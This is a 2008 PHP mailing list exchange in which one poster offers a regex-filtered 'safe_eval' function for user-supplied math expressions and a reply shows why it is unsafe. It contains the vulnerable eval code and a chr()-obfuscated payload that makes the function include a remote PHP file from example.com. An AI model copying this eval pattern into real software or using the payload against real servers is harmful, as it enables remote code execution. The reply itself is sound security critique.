On 10/04/2008, Jason Norwood-Young <jason@xxxxxxxxxxxxxxxxxxx> wrote: > On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote: > > > > First post to this list! I'm trying to figure out how to evaluate a > > > string with a mathematical expression and get a result, but without > > > using eval() as I'm accepting user input into the string. I don't just > > > want addition, subtraction, multiplication and division - I'd like to > > > take advantage of other functions like ceil, floor etc. > > > In reply to my own question, I came up with the following function based > on a comment on php.net > (http://www.php.net/manual/en/function.eval.php#71045). I had a look at > the array returned by get_defined_functions() and the maths functions > seem mostly to be grouped (with the exception of the random number > stuff). It works on my installation but there's nothing in the > documentation about get_defined_functions() returning in a particular > order - it would be safer to list each math function but I'm lazy. > > protected function safe_eval($s) { > $funcs=get_defined_functions(); > $funcs=$funcs["internal"]; > $funcs=array_slice($funcs,array_search("abs", > $funcs),array_search("rad2deg",$funcs)-array_search("abs",$funcs)); > $sfuncs="(".implode(")(",$funcs).")"; > $s=preg_replace('`([^+\-*=/\(\)\d\^<>&|\.'.$sfuncs.']*)`','',$s); > if (empty($s)) { > return 0; > } else { > try { > eval("\$s=$s;"); > return $s; > } catch(Exception $e) { > return 0; > > } > } > } That kind of thing is pretty dangerous. In this case the regex is broken - you're putting all the function names within the character class. That means that any character contained within one of the allowed function names may be used in the eval. So you can use any function that consists entirely of the characters abcdefghilmnopqrstuwxy01234567890_+-*=/^<>&| which means you can include() malicious content like this: safe_eval('include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(101).chr(120).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(97).chr(121).chr(108).chr(111).chr(97).chr(100).chr(46).chr(112).chr(104).chr(112))'); which evaluates to include('http://example.com/payload.php') -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php